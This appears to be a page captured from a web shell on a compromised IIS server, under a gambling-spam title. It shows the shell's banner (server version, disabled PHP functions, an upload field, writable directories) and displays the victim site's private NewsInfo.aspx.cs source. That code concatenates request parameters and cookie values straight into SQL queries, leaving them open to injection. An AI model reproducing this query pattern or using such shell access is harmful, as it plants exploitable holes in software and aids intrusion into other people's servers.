918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/bc799001/4fb1bdec/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/bc799001/4fb1bdec/App_Web_2vsel4fi.3.cs
?#pragma checksum "D:\wwwroot\lmturbo\wwwroot\fr\NewsInfo.aspx.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "311490E5A5DE1D74033CE915F352F7176F4A1D35"

#line 1 "D:\wwwroot\lmturbo\wwwroot\fr\NewsInfo.aspx.cs"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using StarBLL;
using StarModel;

public partial class FR_NewsInfo : System.Web.UI.Page
{
    private SEOBll seoBll = new SEOBll();
    private NewsBll newsBll = new NewsBll();
    public News news = null;
    public string tit, key, des;
    public string prev, next;
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            HttpCookie lmcookie = Request.Cookies["lmcookie"];
            if (lmcookie != null)
            {
                GetDateBind(lmcookie);
            }
            else
            {
                Response.Redirect("Index.aspx");
            }
        }
    }
    private void GetDateBind(HttpCookie lmcookie)
    {
        try
        {
            news = newsBll.GetNewsWhere("where Id=" + Request["id"] + " and State = -1 and Site = " + lmcookie.Values["lmsite"]);
            if (news == null)
            {
                Response.Redirect("NewsCenter.aspx?cid=" + Request["cid"]);
            }
            NewsPageInfo();
            #region 三身分
            SEO seo = seoBll.GetSEOByCid(Request["cid"], lmcookie.Values["lmsite"]);
            SEO seo1 = seoBll.GetSEOByCid("0", lmcookie.Values["lmsite"]);
            if (seo != null)
            {
                tit = seo.Title.ToString();
                key = seo.Description.ToString();
                des = seo.KeyWord.ToString();
            }
            else if (seo1 != null)
            {
                tit = seo1.Title.ToString();
                key = seo1.Description.ToString();
                des = seo1.KeyWord.ToString();
            }
            else
            {
                tit = "";
                key = "";
                des = "";
            }
            #endregion
        }
        catch (Exception)
        {
            Response.Redirect("NewsCenter.aspx?cid=" + Request["cid"]);
        }
    }

    //上一篇  下一篇
    public void NewsPageInfo()
    {
        News news = newsBll.GetNewsById(Convert.ToInt32(Request["id"]));
        if (news != null)
        {
            news.Views += 1;
            newsBll.UpdateNews(news);
            News leftnews = newsBll.GetNewsWhere("where Cid = " + Request["cid"] + " and Sort > " + news.Sort + " and Site = " + news.Site + " Order by Sort asc");
            if (leftnews == null)
            {
                prev = "<span>L’article premier</span>";
            }
            else
            {
                prev = "<span><a href=\"NewsInfo.aspx?cid=" + leftnews.Cid + "&id=" + leftnews.Id + "\">" + Often.substr(leftnews.Title, 20) + "</a></span>";
            }
            News rightnews = newsBll.GetNewsWhere("where Cid = " + news.Cid + " and Sort < " + news.Sort + " and Site = " + news.Site + " Order by Sort desc");
            if (rightnews == null)
            {
                next = "<span>La dernière</span>";
            }
            else
            {
                next = "<span><a href=\"NewsInfo.aspx?cid=" + rightnews.Cid + "&id=" + rightnews.Id + "\">" + Often.substr(rightnews.Title, 20) + "</a></span>";
            }
        }
    }
}

#line default
#line hidden